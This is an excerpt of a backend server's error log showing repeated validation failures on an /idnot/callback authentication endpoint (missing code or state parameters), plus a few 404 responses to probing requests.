/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY5886f8GS0vaEQPx0Y7C8rTRUCW3rataujD7-rsCAzu_rh1jo9fanRYb0Q7DtwWyDKM59I7tQPCtjRr6HF1bflUYdHIQT8rVUBSlf44DX0knkFXiEzBnTpduWUDqwbPr0ywV0cGzvQy8N8uf-07h1PNI7OaPTqI4xWFEM2pvW1173COe4_7qKws1WeVIJ78Pj1GLxV81GH9cqXNavblMZVUpv-Vz9GoBeri5wx647qhLjtLrUsyqYv_tbICgyFCrSr7ygzJLKIIBtqj7WqX7z3Qkef4Edh2ZCjJtDRGN9ui7lkwVdlAiVxy9C6IXIt0J5De5pZJI6jjuV8kZXrAdIzR_9Ip4fjUUg-w1o6LKKpvYK0Ua14emB2AOwQ00RD0cd_w60qJGdKegJNDcZ1CtfsjEkWbOgaq7xwKKpiQiEnXl_KR0gbxaGmiR0ng - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7IZP2ec8AYoIGx2KvgsRvdCPRzWtPbBmdXHlq-qZeM0HvTErRMUnP8fCZLWehbRuBdWoKzRtE5jMxRROiRx6JWLPLWMT2m7d-JuB06vkGA1M1fAorY58'... 440 more characters, - userAgent: 'got (https://github.com/sindresorhus/got)' - }, - requestId: 'req_1758633232145_rt27fhpi7', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T13:15:10.940Z HTTP GET /pdown - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:34.151.255.135', - method: 'GET', - url: '/pdown', - userAgent: undefined - }, - requestId: 'req_1758633310939_z3v27btvl', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T13:17:01.279Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.135.193.100', - method: 'GET', - url: '/', - userAgent: undefined - }, - requestId: 'req_1758633421278_en8qy9o8l', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:17:02.746Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758633422746_haujth40i' -} -❌ [ERROR] 2025-09-23T13:17:02.747Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758633422746_haujth40i', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:23:07.913Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758633787912_rmjv4s682' -} -❌ [ERROR] 2025-09-23T13:23:07.913Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758633787912_rmjv4s682', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:35:23.561Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758634523560_2jnhb0ryo' -} -❌ [ERROR] 2025-09-23T13:35:23.562Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758634523560_2jnhb0ryo', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T13:41:35.833Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:143.244.152.105', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' - }, - requestId: 'req_1758634895832_fhg57by04', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:41:38.053Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758634898052_kd2l0jzz5' -} -❌ [ERROR] 2025-09-23T13:41:38.053Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758634898052_kd2l0jzz5', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsWXGREa4QHTENWepR33MeAFHTLIDf7kjJkAbDjncPNTUa792StbgBvL04pzmoyh0WcsaoPirWkAHw5HZ-z8hpmEo4wE8oyBHC0w1G70-zJBq2rBkMJYRfT0ei12nolqNb9KYOQWU1Ltw1crJ_R96XZoHeQh_zD_zPb-ghaya096s0QRA2wE1T8KqtxQOxFbNaFUwZ7qJ2Uqk_62x63NixnQAGhKzXkqMTpwYSlJu5BcfzUyaudOUMQ2M2qYhRXVEzk5q0rIXh3kqHXta_Zg7HnxIZDdfv7fiUPdKyo-RxYfFgkuZK9o9e5ofuKIWtcc24UxzOiP_YLfZOgSAf_nF2RM8uEpQbGB0wFUIZI-Qg4gCLtpZyv_SWEpJ49jS5Yvkyr0UiiuPmcThQDtxBvjDpONkYI07SRbIiektY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:44:44.173Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsW'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ'... 440 more characters, - userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' - }, - requestId: 'req_1758635084172_frmrfos92' -} -❌ [ERROR] 2025-09-23T13:44:44.174Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ_2694PeapAzmvcMDAPYsWXGREa4QHTENWepR33MeAFHTLIDf7kjJkAbDjncPNTUa792StbgBvL04pzmoyh0WcsaoPirWkAHw5HZ-z8hpmEo4wE8oyBHC0w1G70-zJBq2rBkMJYRfT0ei12nolqNb9KYOQWU1Ltw1crJ_R96XZoHeQh_zD_zPb-ghaya096s0QRA2wE1T8KqtxQOxFbNaFUwZ7qJ2Uqk_62x63NixnQAGhKzXkqMTpwYSlJu5BcfzUyaudOUMQ2M2qYhRXVEzk5q0rIXh3kqHXta_Zg7HnxIZDdfv7fiUPdKyo-RxYfFgkuZK9o9e5ofuKIWtcc24UxzOiP_YLfZOgSAf_nF2RM8uEpQbGB0wFUIZI-Qg4gCLtpZyv_SWEpJ49jS5Yvkyr0UiiuPmcThQDtxBvjDpONkYI07SRbIiektY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLGcEy3JGb_LU9p3CZCEFi9RBysoajZ6ADQiZHIHHhn8OkaIfXBIi__DtM4fpTkg38gZ2hnmq-RAk3ogDKelOBzEeBJnDmqQ'... 440 more characters, - userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' - }, - requestId: 'req_1758635084172_frmrfos92', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:47:52.749Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758635272748_xj5b4sleo' -} -❌ [ERROR] 2025-09-23T13:47:52.749Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758635272748_xj5b4sleo', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:54:12.044Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758635652043_rr4mxccqn' -} -❌ [ERROR] 2025-09-23T13:54:12.045Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758635652043_rr4mxccqn', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWwJ5THF88bttsfweCb_r1JO1M04cbkThTDMVzsoBynRepUhG_uPotCHABXZPRsX0cl59JpXGwcQ-7aG6R1bd4CbQ7sJGAvCbSqrc-3IvEagpwOMd8FdwEpZetpj6e7jgKgduaTdEAYlavXE3x_aEKcnaGsUhFDRNyTIu_gLy7HXPjyy5pXfTY7wlvVlXzqaN4MGfLVYCuwZY8PUIdYUmA203Qyb-FF9orfQ7JsY6iW2fsbUlnhWNhdSP2SCvHGrXSpWwdN4xw1G2cDR8SlOliKHR6j4tJC_mCNjtAFp1Y9wytDyPDtuurG503mHXSw9SLa8XSwVe9iLpjTR2HaI3bFe-DKU_SF_eZrICOhw49wjXS08hAlx7DDrz6H3C2Rbw6yo2jbxz97YCj0s0TMzvnmfiMh2-dPA3uM9sA', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:54:50.069Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWw'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lO'... 440 more characters, - userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' - }, - requestId: 'req_1758635690068_aq7l7s1e7' -} -❌ [ERROR] 2025-09-23T13:54:50.070Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lORqlVna6dYVKoqE3yg6KWwJ5THF88bttsfweCb_r1JO1M04cbkThTDMVzsoBynRepUhG_uPotCHABXZPRsX0cl59JpXGwcQ-7aG6R1bd4CbQ7sJGAvCbSqrc-3IvEagpwOMd8FdwEpZetpj6e7jgKgduaTdEAYlavXE3x_aEKcnaGsUhFDRNyTIu_gLy7HXPjyy5pXfTY7wlvVlXzqaN4MGfLVYCuwZY8PUIdYUmA203Qyb-FF9orfQ7JsY6iW2fsbUlnhWNhdSP2SCvHGrXSpWwdN4xw1G2cDR8SlOliKHR6j4tJC_mCNjtAFp1Y9wytDyPDtuurG503mHXSw9SLa8XSwVe9iLpjTR2HaI3bFe-DKU_SF_eZrICOhw49wjXS08hAlx7DDrz6H3C2Rbw6yo2jbxz97YCj0s0TMzvnmfiMh2-dPA3uM9sA - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLDgSjVzy8jV7GH1FWwd0E45XHby6SmrsVWJbljsYg9MTWIDKWxokVR5qW3mBpL6ed-LhhSVAraYjGTH017dp1pa7BhlB3lO'... 440 more characters, - userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' - }, - requestId: 'req_1758635690068_aq7l7s1e7', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06sWGS6CfdCinypQZoMBVAObs-WmoQkC-2arlnC-mucTgyXIdGexDvIe3-n5s85alRTH_4YWjiPRJCQrvfJsq8rC9JuXY66ZXdm69byom8eoC8ibCzgoZ0GcXRDss-ryzd9ST2iqSdlzs2cpsCprB_TM9gO5K7XgYAf19E4joP1NoqtSWh6Cs7eDwY4mtqJkX10brOQt5IDD-uk8WOOBQZCJnxPemy6SzRabfDOsoWxr2l7vRpJOEHXfgGrkIWbBo_bLl30Ljm9lIUY5x58pJKzRZouAdnn2umlpn4SiIB2iZx1akoWS8LjzyTyUckLWw9AgZ_9PqiRNCsj7oPHABgv66fwhN2drYmA23e-X4yqKfDQiRknwfA-G8KD4F3opf3aco5fYx1aL7r42e2pdJyArfO_QZaHt9vwtms', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '37.171.119.253', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T13:55:19.141Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06s'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7'... 440 more characters, - userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' - }, - requestId: 'req_1758635719140_z8pde4448' -} -❌ [ERROR] 2025-09-23T13:55:19.141Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7P1zUCr5r--wgeUUSMq06sWGS6CfdCinypQZoMBVAObs-WmoQkC-2arlnC-mucTgyXIdGexDvIe3-n5s85alRTH_4YWjiPRJCQrvfJsq8rC9JuXY66ZXdm69byom8eoC8ibCzgoZ0GcXRDss-ryzd9ST2iqSdlzs2cpsCprB_TM9gO5K7XgYAf19E4joP1NoqtSWh6Cs7eDwY4mtqJkX10brOQt5IDD-uk8WOOBQZCJnxPemy6SzRabfDOsoWxr2l7vRpJOEHXfgGrkIWbBo_bLl30Ljm9lIUY5x58pJKzRZouAdnn2umlpn4SiIB2iZx1akoWS8LjzyTyUckLWw9AgZ_9PqiRNCsj7oPHABgv66fwhN2drYmA23e-X4yqKfDQiRknwfA-G8KD4F3opf3aco5fYx1aL7r42e2pdJyArfO_QZaHt9vwtms - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu2yRrPuu0FUtyW9O9YWYyO7-GN_8R_rje0vYTYAB8lxLHchS8o7IG1CFOVwjENdeJTp_keGWBxIe_Wi0d0-YGHqQgu308n7YLbajfNrXj6gqC1iPckxdWsQJ_zrDKhYUnnP37NnAS7'... 440 more characters, - userAgent: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36' - }, - requestId: 'req_1758635719140_z8pde4448', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '4.227.36.107', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T14:00:35.529Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758636035528_wo1y58q87' -} -❌ [ERROR] 2025-09-23T14:00:35.529Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' - }, - requestId: 'req_1758636035528_wo1y58q87', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T14:02:23.630Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:5.200.72.26', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 